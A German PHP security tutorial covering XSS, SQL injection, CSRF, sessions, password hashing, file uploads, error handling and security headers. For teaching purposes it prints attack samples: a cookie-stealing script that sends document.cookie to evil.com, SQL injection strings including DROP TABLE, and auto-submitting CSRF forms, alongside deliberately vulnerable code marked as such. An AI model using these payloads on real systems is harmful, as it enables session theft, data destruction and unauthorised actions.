PHP Sicherheit

Schütze deine Anwendungen vor den häufigsten Angriffen. Verstehen, erkennen, abwehren.

Warum ist PHP-Sicherheit so wichtig?

PHP-Anwendungen sind ein beliebtes Ziel für Angreifer - nicht weil PHP unsicher ist, sondern weil es so weit verbreitet ist und viele Entwickler Sicherheitsaspekte unterschätzen oder nicht kennen.

Die Realität

Ein einziger Sicherheitsfehler kann ausreichen, um:

  • Deine gesamte Datenbank zu kompromittieren
  • Nutzerdaten zu stehlen
  • Deine Website zu manipulieren
  • Deine Server zu übernehmen
  • Malware zu verbreiten

Sicherheit ist kein Feature - es ist eine Grundvoraussetzung.

Die OWASP Top 10

Die Open Web Application Security Project (OWASP) veröffentlicht regelmäßig die häufigsten Sicherheitsprobleme. In diesem Tutorial behandeln wir die wichtigsten davon:

  • Injection (SQL Injection, Command Injection)
  • Broken Authentication (Session-Management, Passwörter)
  • Cross-Site Scripting (XSS)
  • Insecure Direct Object References
  • Security Misconfiguration
  • Cross-Site Request Forgery (CSRF)
  • File Upload Vulnerabilities
Security-Mindset

Vertraue niemals Nutzereingaben! Das ist die goldene Regel. Alles, was von außen kommt - Formulare, URLs, Cookies, HTTP-Header - kann manipuliert sein. Immer validieren, immer bereinigen, immer überprüfen.

Cross-Site Scripting (XSS)

XSS ist einer der häufigsten Angriffe. Dabei schleust ein Angreifer schädlichen JavaScript-Code in deine Website ein, der dann im Browser anderer Nutzer ausgeführt wird.

Wie funktioniert XSS?

Stell dir vor, du hast ein Kommentarfeld ohne Sicherheitsmaßnahmen:

GEFÄHRLICH - NIEMALS SO!
<?php
// GEFÄHRLICH - NIEMALS SO!
$kommentar = $_POST['kommentar'];
echo "<p>" . $kommentar . "</p>";
?>

Ein Angreifer könnte jetzt eingeben:

Cookies stehlen und an Angreifer senden
<script>
    // Cookies stehlen und an Angreifer senden
    fetch('https://evil.com/steal.php?cookie=' + document.cookie);
</script>

Oder subtiler:

Gehackt
<img src="x" onerror="alert('Gehackt!')">
Was kann ein Angreifer mit XSS machen?
  • Session-Cookies stehlen und sich als Nutzer ausgeben
  • Formulare manipulieren (z.B. Bankdaten umleiten)
  • Nutzer auf Phishing-Seiten umleiten
  • Tastatureingaben aufzeichnen (Keylogger)
  • Die gesamte Seite manipulieren

Schutz vor XSS: htmlspecialchars()

Die Lösung ist einfach, aber du musst sie konsequent anwenden:

PHP
<?php
// SICHER
$kommentar = $_POST['kommentar'] ?? '';
echo "<p>" . htmlspecialchars($kommentar, ENT_QUOTES, 'UTF-8') . "</p>";
?>

Was macht htmlspecialchars()?

Es wandelt gefährliche Zeichen in harmlose HTML-Entities um:

PHP
<?php
$input = '<script>alert("XSS")</script>';
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Ausgabe: <script>alert("XSS")</script>
// Der Browser zeigt den Text an, führt ihn aber nicht aus!
?>
Die drei Parameter im Detail
  • ENT_QUOTES - Wandelt auch einfache und doppelte Anführungszeichen um
  • 'UTF-8' - Encoding (wichtig für Umlaute, Emojis etc.)
  • Diese Kombination ist der Standard für sichere Ausgabe

Helper-Funktion für schnelleren Zugriff

Damit du nicht jedes Mal die gleichen Parameter schreiben musst:

PHP
<?php
// In functions.php oder am Anfang deiner Datei
function esc(string $string): string {
    return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}

// Dann einfach:
$name = $_POST['name'] ?? '';
echo esc($name);
?>

XSS in verschiedenen Kontexten

In HTML-Attributen

PHP
<?php
$title = $_GET['title'] ?? '';

// RICHTIG
echo '<div title="' . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . '">';
?>

In JavaScript (extra vorsichtig!)

GEFÄHRLICH
<?php
$username = $_SESSION['username'] ?? 'Gast';

// GEFÄHRLICH
echo "<script>var user = '$username';</script>";

?>
BESSER: JSON-Encoding nutzen
<?php
$username = $_SESSION['username'] ?? 'Gast';

// BESSER: JSON-Encoding nutzen
echo '<script>var user = ' . json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
?>
Wichtig: htmlspecialchars() reicht nicht in JavaScript!

Wenn du PHP-Werte in JavaScript brauchst, nutze Data-Attribute und lies sie mit JS aus.

Content Security Policy (CSP)

Eine zusätzliche Schutzebene gegen XSS:

PHP
<?php
// Verbiete inline-Scripts und erlaube nur Scripts von eigener Domain
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
?>

Oder im HTML-Head:

HTML
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self'">

SQL Injection - Der Klassiker

SQL Injection ist eine der gefährlichsten Angriffsmethoden. Dabei manipuliert ein Angreifer deine Datenbankabfragen, um Daten zu stehlen, zu ändern oder zu löschen.

Wie funktioniert SQL Injection?

Stell dir vor, du hast diesen Code:

EXTREM GEFÄHRLICH - NIEMALS SO!
<?php
// EXTREM GEFÄHRLICH - NIEMALS SO!
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
?>

Ein Angreifer könnte als Username eingeben:

EXTREM GEFÄHRLICH - NIEMALS SO!
admin' OR '1'='1

Die resultierende SQL-Abfrage wäre dann:

EXTREM GEFÄHRLICH - NIEMALS SO!
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = ''

Da '1'='1' immer wahr ist, gibt diese Abfrage alle Nutzer zurück - ohne Passwort!

Noch schlimmer:

Ein Angreifer könnte auch eingeben:

admin'; DROP TABLE users; --

Das würde deine gesamte User-Tabelle löschen!

Schutz vor SQL Injection: Prepared Statements

Die Lösung: Prepared Statements mit PDO

Das ist der moderne, sichere Standard:

PHP
<?php
// SICHER mit PDO Prepared Statements

try {
    // Datenbankverbindung aufbauen
    $pdo = new PDO(
        'mysql:host=localhost;dbname=meine_db;charset=utf8mb4',
        'username',
        'password',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );

    // Prepared Statement vorbereiten
    $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
    
    // Werte binden (automatisch escaped!)
    $stmt->execute([
        ':username' => $_POST['username'],
        ':password' => $_POST['password'] // In Realität: Passwort-Hash!
    ]);
    
    // Ergebnis holen
    $user = $stmt->fetch();
    
    if ($user) {
        echo "Login erfolgreich!";
    } else {
        echo "Login fehlgeschlagen!";
    }
    
} catch (PDOException $e) {
    // Fehler loggen, aber NICHT dem Nutzer zeigen!
    error_log($e->getMessage());
    echo "Ein Fehler ist aufgetreten.";
}
?>
Warum sind Prepared Statements sicher?
  • SQL-Query und Daten werden getrennt zum Datenbankserver geschickt
  • Die Datenbank weiß genau: "Das ist Code, das sind Daten"
  • Nutzereingaben können die SQL-Struktur nicht verändern
  • Kein manuelles Escaping nötig - passiert automatisch

Verschiedene Bind-Methoden

Named Parameters (empfohlen)

PHP
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email AND age > :age');
$stmt->execute([
    ':email' => $email,
    ':age' => $age
]);
?>

Positional Parameters

PHP
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND age > ?');
$stmt->execute([$email, $age]);
?>

Was du NICHT mit Prepared Statements machen kannst

Prepared Statements funktionieren nur für Werte, nicht für:

  • Tabellennamen
  • Spaltennamen
  • SQL-Keywords (ORDER BY, ASC/DESC, etc.)

Beispiel: Dynamische Sortierung

PHP
<?php
$sortColumn = $_GET['sort'] ?? 'name';

// ⨯ GEHT NICHT mit Prepared Statement 
// $stmt = $pdo->prepare("SELECT * FROM users ORDER BY :column");

// ✓ LÖSUNG: Whitelist verwenden 
$allowedColumns = ['name', 'email', 'created_at'];

if (!in_array($sortColumn, $allowedColumns)) {
    $sortColumn = 'name'; // Fallback auf Standard
}

// Jetzt ist es sicher, den Spaltennamen direkt einzufügen
$stmt = $pdo->prepare("SELECT * FROM users ORDER BY $sortColumn");
$stmt->execute();
?>
Wichtig bei dynamischen Queries

Wenn du Tabellen- oder Spaltennamen dynamisch nutzen musst:

  • Nutze immer eine Whitelist erlaubter Werte
  • Validiere die Eingabe streng
  • Niemals direkte Nutzereingaben in SQL-Struktur einfügen

Connection-Setup in separater Datei

Best Practice: Datenbankverbindung in eigene Datei auslagern:

PHP
<?php
// config/database.php

function getDB(): PDO {
    static $pdo = null;
    
    if ($pdo === null) {
        try {
            $pdo = new PDO(
                'mysql:host=localhost;dbname=meine_db;charset=utf8mb4',
                'username',
                'password',
                [
                    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                    PDO::ATTR_EMULATE_PREPARES => false
                ]
            );
        } catch (PDOException $e) {
            error_log('Database connection failed: ' . $e->getMessage());
            die('Verbindung zur Datenbank fehlgeschlagen.');
        }
    }
    
    return $pdo;
}

// Dann in anderen Dateien:
// $pdo = getDB();
?>

Cross-Site Request Forgery (CSRF)

Bei CSRF-Angriffen wird ein eingeloggter Nutzer dazu gebracht, ungewollt Aktionen auf deiner Website auszuführen - ohne dass er es merkt.

Wie funktioniert CSRF?

Szenario: Du bist bei deiner Bank eingeloggt. Ein Angreifer schickt dir eine E-Mail mit diesem unsichtbaren Bild:

HTML
<img src="https://bank.de/transfer.php?to=angreifer&amount=10000" width="0" height="0">

Wenn du die E-Mail öffnest, lädt dein Browser automatisch das "Bild" - und führt die Überweisung aus, weil du ja eingeloggt bist!

CSRF kann auch mit POST funktionieren

Ein Angreifer kann ein unsichtbares Formular auf einer fremden Seite einbauen, das automatisch abgeschickt wird:

<form action="https://deine-seite.de/delete-account.php" method="post" id="csrf">
    <input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf').submit();</script>

Schutz vor CSRF: Tokens

Die Lösung: CSRF-Tokens - zufällige, einmalige Werte, die bei jedem Formular mitgeschickt werden.

CSRF-Token generieren und prüfen

PHP
<?php
// functions.php oder security.php

session_start();

/**
 * CSRF-Token generieren und in Session speichern
 */
function generateCSRFToken(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

/**
 * CSRF-Token validieren
 */
function validateCSRFToken(string $token): bool {
    return isset($_SESSION['csrf_token']) 
        && hash_equals($_SESSION['csrf_token'], $token);
}

/**
 * CSRF-Token als Hidden Input ausgeben
 */
function csrfField(): string {
    $token = generateCSRFToken();
    return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token, ENT_QUOTES, 'UTF-8') . '">';
}
?>

Token in Formular einbauen

PHP
<?php
require_once 'functions.php';
session_start();
?>

<form method="post" action="delete-account.php">
    <!-- CSRF-Token einfügen -->
    <?php echo csrfField(); ?>
    
    <label for="confirm">
        <input type="checkbox" id="confirm" name="confirm" required>
        Ja, ich möchte meinen Account wirklich löschen
    </label>
    
    <button type="submit">Account löschen</button>
</form>

Token beim Verarbeiten prüfen

PHP
<?php
// delete-account.php
require_once 'functions.php';
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // CSRF-Token prüfen (IMMER als erstes!)
    $token = $_POST['csrf_token'] ?? '';
    
    if (!validateCSRFToken($token)) {
        die('Ungültiger CSRF-Token. Sicherheitswarnung!');
    }
    
    // Jetzt erst weitere Verarbeitung
    if (isset($_POST['confirm'])) {
        // Account löschen...
        echo "Account wurde gelöscht.";
    }
}
?>
Warum hash_equals()?

Normales === ist anfällig für Timing-Attacks (ein Angreifer könnte am Zeitunterschied erkennen, wie viele Zeichen richtig sind). hash_equals() vergleicht in konstanter Zeit und ist daher sicher.

PHP
<?php
// Session-Cookie-Einstellungen (am Anfang, vor session_start())
session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '', // Deine Domain
    'secure' => true,   // Nur über HTTPS
    'httponly' => true, // Nicht per JavaScript zugreifbar
    'samesite' => 'Strict' // CSRF-Schutz
]);

session_start();
?>
SameSite-Werte
  • Strict - Cookie wird nur bei Requests von gleicher Domain gesendet (am sichersten)
  • Lax - Cookie wird bei Top-Level-Navigation gesendet (z.B. Link-Klicks)
  • None - Cookie wird immer gesendet (nur mit Secure-Flag)

Session-Sicherheit

Sessions sind super praktisch, um Nutzer eingeloggt zu halten - aber auch ein beliebtes Angriffsziel.

Session Hijacking

Bei Session Hijacking stiehlt ein Angreifer die Session-ID eines Nutzers und gibt sich als dieser aus.

Angriffsvektoren

  • XSS: JavaScript stiehlt Session-Cookie document.cookie
  • Network Sniffing: Session-ID wird über unverschlüsselte Verbindung abgefangen
  • Session Fixation: Angreifer setzt Session-ID des Opfers

Sichere Session-Konfiguration

PHP
<?php
// session-config.php

// 1. Vor session_start() konfigurieren
ini_set('session.use_strict_mode', '1');      // Nur Server-generierte Session-IDs
ini_set('session.cookie_httponly', '1');      // Kein JavaScript-Zugriff
ini_set('session.cookie_secure', '1');        // Nur über HTTPS
ini_set('session.use_only_cookies', '1');     // Keine Session-ID in URL
ini_set('session.cookie_samesite', 'Strict'); // CSRF-Schutz

// Oder mit session_set_cookie_params (moderner)
session_set_cookie_params([
    'lifetime' => 3600,     // 1 Stunde
    'path' => '/',
    'domain' => '',
    'secure' => true,       // Nur HTTPS
    'httponly' => true,     // XSS-Schutz
    'samesite' => 'Strict'  // CSRF-Schutz
]);

// 2. Session starten
session_start();

// 3. Session-ID nach Login regenerieren (gegen Fixation)
function regenerateSession(): void {
    session_regenerate_id(true); // true = alte Session löschen
}
?>

Komplettes Login-System mit Security

PHP
<?php
// login.php
require_once 'session-config.php';
require_once 'database.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    
    if (empty($email) || empty($password)) {
        $error = 'Bitte alle Felder ausfüllen.';
    } else {
        try {
            $pdo = getDB();
            
            // User aus Datenbank holen
            $stmt = $pdo->prepare('SELECT id, email, password_hash FROM users WHERE email = :email');
            $stmt->execute([':email' => $email]);
            $user = $stmt->fetch();
            
            // Passwort prüfen
            if ($user && password_verify($password, $user['password_hash'])) {
                
                // Session-ID regenerieren (wichtig!)
                session_regenerate_id(true);
                
                // User-Daten in Session speichern
                $_SESSION['user_id'] = $user['id'];
                $_SESSION['user_email'] = $user['email'];
                $_SESSION['logged_in'] = true;
                
                // Optional: IP und User Agent speichern (für zusätzliche Sicherheit)
                $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
                $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
                
                // Weiterleitung
                header('Location: dashboard.php');
                exit;
                
            } else {
                // Nicht verraten, ob Email oder Passwort falsch ist!
                $error = 'Ungültige Anmeldedaten.';
            }
            
        } catch (PDOException $e) {
            error_log('Login error: ' . $e->getMessage());
            $error = 'Ein Fehler ist aufgetreten.';
        }
    }
}
?>

Session validieren bei jedem Request

PHP
<?php
// auth.php - Auf jeder geschützten Seite einbinden

require_once 'session-config.php';

function requireLogin(): void {
    // Prüfen, ob eingeloggt
    if (empty($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
        header('Location: login.php');
        exit;
    }
    
    // Optional: IP und User Agent validieren
    // (kann zu Problemen führen bei dynamischen IPs oder Proxy-Wechsel)
    if (
        !empty($_SESSION['user_ip']) && 
        $_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']
    ) {
        // Potentieller Session-Hijacking-Versuch
        session_destroy();
        header('Location: login.php?error=security');
        exit;
    }
    
    // Optional: Session-Timeout (z.B. nach 30 Minuten Inaktivität)
    $timeout = 1800; // 30 Minuten in Sekunden
    
    if (isset($_SESSION['last_activity']) && 
        (time() - $_SESSION['last_activity']) > $timeout) {
        session_destroy();
        header('Location: login.php?error=timeout');
        exit;
    }
    
    $_SESSION['last_activity'] = time();
}

// Auf geschützten Seiten:
// requireLogin();
?>

Sicherer Logout

PHP
<?php
// logout.php
require_once 'session-config.php';

// Session-Variablen löschen
$_SESSION = [];

// Session-Cookie löschen
if (ini_get('session.use_cookies')) {
    $params = session_get_cookie_params();
    setcookie(
        session_name(),
        '',
        time() - 42000,
        $params['path'],
        $params['domain'],
        $params['secure'],
        $params['httponly']
    );
}

// Session zerstören
session_destroy();

// Weiterleitung
header('Location: login.php');
exit;
?>
Häufiger Fehler

Viele Entwickler vergessen session_regenerate_id() nach dem Login. Das macht dich anfällig für Session Fixation-Angriffe. Immer die Session-ID nach Privilege-Changes (Login, Logout, Rollenwechsel) regenerieren!

Passwort-Sicherheit

Passwörter sind die erste Verteidigungslinie - und leider oft die schwächste.

Passwörter NIEMALS im Klartext speichern

NIEMALS SO!
<?php
// NIEMALS SO!
$password = $_POST['password'];
$stmt = $pdo->prepare('INSERT INTO users (email, password) VALUES (:email, :password)');
$stmt->execute([
    ':email' => $email,
    ':password' => $password // Klartext!
]);
?>
Warum nicht?
  • Bei Datenbank-Leak haben Angreifer alle Passwörter
  • Mitarbeiter mit DB-Zugriff können Passwörter sehen
  • Viele Nutzer verwenden gleiche Passwörter auf mehreren Seiten
  • Es ist in vielen Ländern illegal (DSGVO!)

Passwörter richtig hashen

PHP
<?php
// RICHTIG: Password-Hashing ✓

// Bei Registrierung
$password = $_POST['password'];
$passwordHash = password_hash($password, PASSWORD_DEFAULT);

// In Datenbank speichern
$stmt = $pdo->prepare('INSERT INTO users (email, password_hash) VALUES (:email, :password_hash)');
$stmt->execute([
    ':email' => $email,
    ':password_hash' => $passwordHash
]);
?>

Passwort-Verifikation

PHP
<?php
// Bei Login
$inputPassword = $_POST['password'];

// Hash aus Datenbank holen
$stmt = $pdo->prepare('SELECT password_hash FROM users WHERE email = :email');
$stmt->execute([':email' => $_POST['email']]);
$user = $stmt->fetch();

// Passwort verifizieren
if ($user && password_verify($inputPassword, $user['password_hash'])) {
    echo "Login erfolgreich!";
    
    // Optional: Hash aktualisieren, wenn neuer Algorithmus verfügbar
    if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
        $newHash = password_hash($inputPassword, PASSWORD_DEFAULT);
        // $newHash in Datenbank updaten...
    }
} else {
    echo "Falsches Passwort!";
}
?>
Was macht password_hash()?
  • Nutzt aktuell bcrypt (sicher und bewährt)
  • Generiert automatisch ein Salt (zufällige Daten)
  • Salt wird im Hash gespeichert - kein Extra-Feld nötig
  • Mit PASSWORD_DEFAULT nutzt PHP immer den besten verfügbaren Algorithmus

Passwort-Anforderungen

PHP
<?php
function validatePassword(string $password): array {
    $errors = [];
    
    // Mindestlänge
    if (strlen($password) < 8) {
        $errors[] = 'Passwort muss mindestens 8 Zeichen lang sein.';
    }
    
    // Maximal 72 Zeichen (bcrypt-Limit)
    if (strlen($password) > 72) {
        $errors[] = 'Passwort darf maximal 72 Zeichen lang sein.';
    }
    
    // Optional: Komplexität prüfen
    if (!preg_match('/[A-Z]/', $password)) {
        $errors[] = 'Passwort muss mindestens einen Großbuchstaben enthalten.';
    }
    
    if (!preg_match('/[a-z]/', $password)) {
        $errors[] = 'Passwort muss mindestens einen Kleinbuchstaben enthalten.';
    }
    
    if (!preg_match('/[0-9]/', $password)) {
        $errors[] = 'Passwort muss mindestens eine Zahl enthalten.';
    }
    
    // Optional: Sonderzeichen
    if (!preg_match('/[^A-Za-z0-9]/', $password)) {
        $errors[] = 'Passwort muss mindestens ein Sonderzeichen enthalten.';
    }
    
    return $errors;
}

// Verwendung
$errors = validatePassword($_POST['password']);
if (!empty($errors)) {
    // Fehler anzeigen
}
?>
Zu strikte Regeln können kontraproduktiv sein!

Moderne Empfehlungen (NIST, OWASP):

  • Mindestlänge: 8-12 Zeichen (besser: länger)
  • Keine erzwungene Komplexität (führt zu "Passwort123!")
  • Kein erzwungener regelmäßiger Wechsel
  • Wichtiger: Passwörter gegen bekannte Listen prüfen (Have I Been Pwned API)

Brute-Force-Schutz: Rate Limiting

PHP
<?php
// Einfaches Rate Limiting (in Realität: Redis/Memcached nutzen)

function checkLoginAttempts(string $email): bool {
    $maxAttempts = 5;
    $timeWindow = 900; // 15 Minuten
    
    // Versuche aus DB holen
    $stmt = $pdo->prepare('
        SELECT COUNT(*) as attempts 
        FROM login_attempts 
        WHERE email = :email 
        AND attempted_at > :time_limit
    ');
    $stmt->execute([
        ':email' => $email,
        ':time_limit' => date('Y-m-d H:i:s', time() - $timeWindow)
    ]);
    
    $result = $stmt->fetch();
    
    return $result['attempts'] < $maxAttempts;
}

function recordLoginAttempt(string $email, bool $success): void {
    $stmt = $pdo->prepare('
        INSERT INTO login_attempts (email, success, attempted_at) 
        VALUES (:email, :success, NOW())
    ');
    $stmt->execute([
        ':email' => $email,
        ':success' => $success ? 1 : 0
    ]);
}

// Bei Login-Versuch
if (!checkLoginAttempts($email)) {
    die('Zu viele Login-Versuche. Bitte warte 15 Minuten.');
}

// Nach Login-Versuch
recordLoginAttempt($email, $loginSuccess);
?>

Tabelle für Login-Attempts:

PHP
CREATE TABLE login_attempts (
    id INT AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(255) NOT NULL,
    success BOOLEAN NOT NULL,
    attempted_at DATETIME NOT NULL,
    ip_address VARCHAR(45),
    INDEX idx_email_time (email, attempted_at)
);

File Upload Sicherheit

File-Uploads sind extrem gefährlich, wenn nicht richtig abgesichert. Ein Angreifer könnte PHP-Dateien hochladen und ausführen!

Die Gefahren

  • Remote Code Execution: Angreifer lädt PHP-Shell hoch und führt beliebigen Code aus
  • Path Traversal: Angreifer überschreibt kritische System-Dateien
  • XSS via SVG/HTML: Schädliche Scripts in Bildern
  • DoS: Riesige Dateien füllen Server-Speicher

Sicherer File-Upload

PHP
<?php
// file-upload.php

// 1. Prüfe, ob Datei hochgeladen wurde
if (!isset($_FILES['upload']) || $_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
    die('Fehler beim Upload.');
}

$file = $_FILES['upload'];

// 2. Größe prüfen (z.B. max 5MB)
$maxSize = 5 * 1024 * 1024; // 5MB in Bytes
if ($file['size'] > $maxSize) {
    die('Datei zu groß. Maximum: 5MB');
}

// 3. MIME-Type validieren (nicht nur Extension!)
$allowedMimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

if (!in_array($mimeType, $allowedMimes)) {
    die('Dateityp nicht erlaubt.');
}

// 4. Extension validieren (zusätzlich)
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

if (!in_array($fileExtension, $allowedExtensions)) {
    die('Dateiendung nicht erlaubt.');
}

// 5. Sicheren Dateinamen generieren (nicht vom User übernehmen!)
$safeFilename = bin2hex(random_bytes(16)) . '.' . $fileExtension;

// 6. Upload-Verzeichnis (AUSSERHALB des Web-Root!)
$uploadDir = '/var/www/uploads/'; // Nicht öffentlich zugänglich!

// Alternative: Öffentlich, aber ohne PHP-Ausführung
// $uploadDir = '/var/www/html/uploads/';
// Dann .htaccess in uploads/:
// php_flag engine off

// 7. Vollständiger Pfad
$destination = $uploadDir . $safeFilename;

// 8. Datei verschieben
if (!move_uploaded_file($file['tmp_name'], $destination)) {
    die('Fehler beim Speichern.');
}

// 9. In Datenbank speichern
$stmt = $pdo->prepare('
    INSERT INTO uploads (original_name, stored_name, mime_type, size, uploaded_at) 
    VALUES (:original, :stored, :mime, :size, NOW())
');
$stmt->execute([
    ':original' => basename($file['name']), // basename() entfernt Path-Komponenten
    ':stored' => $safeFilename,
    ':mime' => $mimeType,
    ':size' => $file['size']
]);

echo 'Upload erfolgreich!';
?>

Upload-Verzeichnis schützen

Option 1: Außerhalb Web-Root (am sichersten)

Uploads in Verzeichnis speichern, das nicht direkt per URL erreichbar ist:

PHP
<?php
// download.php - Dateien ausliefern mit Zugriffskontrolle

session_start();

// Zugriff prüfen
if (!isset($_SESSION['logged_in'])) {
    die('Nicht berechtigt.');
}

$fileId = $_GET['id'] ?? 0;

// Dateiinfo aus DB holen
$stmt = $pdo->prepare('SELECT stored_name, original_name, mime_type FROM uploads WHERE id = :id');
$stmt->execute([':id' => $fileId]);
$file = $stmt->fetch();

if (!$file) {
    die('Datei nicht gefunden.');
}

$filePath = '/var/www/uploads/' . $file['stored_name'];

if (!file_exists($filePath)) {
    die('Datei nicht gefunden.');
}

// Headers setzen
header('Content-Type: ' . $file['mime_type']);
header('Content-Disposition: attachment; filename="' . $file['original_name'] . '"');
header('Content-Length: ' . filesize($filePath));

// Datei ausgeben
readfile($filePath);
exit;
?>

Option 2: .htaccess (wenn Web-Root nötig)

In /uploads/.htaccess:

PHP
# PHP-Ausführung deaktivieren
php_flag engine off

# Nur bestimmte Dateitypen erlauben
<FilesMatch "\.(jpg|jpeg|png|gif|pdf)$">
    Order Allow,Deny
    Allow from all
</FilesMatch>

# Alle anderen Dateien blockieren
<FilesMatch ".*">
    Order Deny,Allow
    Deny from all
</FilesMatch>

Zusätzliche Sicherheitsmaßnahmen

Bildervalidierung

PHP
<?php
// Prüfe, ob es wirklich ein Bild ist
function isValidImage(string $filePath): bool {
    $imageInfo = @getimagesize($filePath);
    
    if ($imageInfo === false) {
        return false; // Kein Bild
    }
    
    // Erlaubte Bildtypen
    $allowedTypes = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
    
    return in_array($imageInfo[2], $allowedTypes);
}

// Nach Upload prüfen
if (!isValidImage($file['tmp_name'])) {
    unlink($file['tmp_name']); // Temp-Datei löschen
    die('Ungültige Bilddatei.');
}
?>

Dateinamen-Sanitization

PHP
<?php
function sanitizeFilename(string $filename): string {
    // Entferne alle Zeichen außer: Buchstaben, Zahlen, Punkt, Unterstrich, Bindestrich
    $filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);
    
    // Entferne mehrfache Punkte (Path Traversal Schutz)
    $filename = preg_replace('/\.+/', '.', $filename);
    
    // Maximal 255 Zeichen
    return substr($filename, 0, 255);
}
?>
Kritische Punkte bei File-Uploads
  • NIEMALS Nutzer-Dateinamen direkt übernehmen
  • NIEMALS nur Extension prüfen - immer auch MIME-Type
  • NIEMALS in öffentliches Verzeichnis mit PHP-Ausführung speichern
  • Immer Dateigröße limitieren
  • Bei Bildern: getimagesize() nutzen, nicht nur MIME-Type

Error Handling und Information Disclosure

Zu detaillierte Fehlermeldungen können Angreifern wertvolle Informationen liefern.

Was du NICHT tun solltest

NIEMALS SO!
<?php
// ❌ Gefährlich: Zeigt Datenbankstruktur und Pfade
try {
    $pdo = new PDO('mysql:host=localhost;dbname=secret_db', 'root', 'password123');
} catch (PDOException $e) {
    echo "Fehler: " . $e->getMessage(); // ❌ Nie so!
    // Ausgabe könnte sein: "SQLSTATE[28000]: Access denied for user 'root'@'localhost'"
}
?>

Richtige Fehlerbehandlung

PHP
<?php
// ✅ Entwicklung: Detaillierte Fehler anzeigen
if ($_ENV['APP_ENV'] === 'development') {
    error_reporting(E_ALL);
    ini_set('display_errors', '1');
} else {
    // ✅ Produktion: Fehler loggen, nicht anzeigen
    error_reporting(E_ALL);
    ini_set('display_errors', '0');
    ini_set('log_errors', '1');
    ini_set('error_log', '/var/log/php-errors.log');
}

// Bei Datenbankfehlern
try {
    $pdo = new PDO(/* ... */);
    // Queries...
} catch (PDOException $e) {
    // In Log schreiben
    error_log('DB Error: ' . $e->getMessage());
    
    // Nutzer sieht nur:
    die('Ein Fehler ist aufgetreten. Bitte versuche es später erneut.');
}
?>

Custom Error Handler

PHP
<?php
// error-handler.php

function customErrorHandler($errno, $errstr, $errfile, $errline) {
    // In Log schreiben
    $logMessage = sprintf(
        "[%s] Error %d: %s in %s on line %d",
        date('Y-m-d H:i:s'),
        $errno,
        $errstr,
        $errfile,
        $errline
    );
    
    error_log($logMessage);
    
    // In Produktion: Generische Fehlermeldung
    if ($_ENV['APP_ENV'] === 'production') {
        echo "Ein Fehler ist aufgetreten.";
        exit;
    }
    
    return false; // Default Error Handler auch ausführen
}

set_error_handler('customErrorHandler');
?>
Was verrät zu viel?
  • Datenbankfehler: Tabellennamen, Spaltennamen, SQL-Queries
  • PHP-Fehler: Dateipfade, Server-Konfiguration
  • Login-Fehler: "Email nicht gefunden" vs. "Falsches Passwort"
  • Stack Traces: Code-Struktur, verwendete Libraries

Login-Fehler richtig machen

Gut
<?php
// ✅ Gut: Generische Meldung
if (!$userExists || !password_verify($password, $hash)) {
    echo "Ungültige Anmeldedaten.";
}
?>
Schlecht
<?php
// ❌ Schlecht: Verrät, ob Email existiert
if (!$userExists) {
    echo "Diese E-Mail ist nicht registriert.";
} elseif (!password_verify($password, $hash)) {
    echo "Falsches Passwort.";
}
?>

Security Headers

HTTP-Security-Headers sind eine zusätzliche Schutzebene. Sie werden vom Server an den Browser gesendet.

Wichtige Security Headers

PHP
<?php
// security-headers.php - Am Anfang jeder Seite einbinden

// 1. Verhindere MIME-Type-Sniffing
header('X-Content-Type-Options: nosniff');

// 2. XSS-Schutz aktivieren (veraltet, aber schadet nicht)
header('X-XSS-Protection: 1; mode=block');

// 3. Clickjacking-Schutz
header('X-Frame-Options: DENY'); // Oder: SAMEORIGIN

// 4. Erzwinge HTTPS
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');

// 5. Content Security Policy (anpassen an deine Needs!)
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:");

// 6. Referrer Policy
header('Referrer-Policy: strict-origin-when-cross-origin');

// 7. Permissions Policy (früher Feature Policy)
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
?>

Header-Bedeutungen im Detail

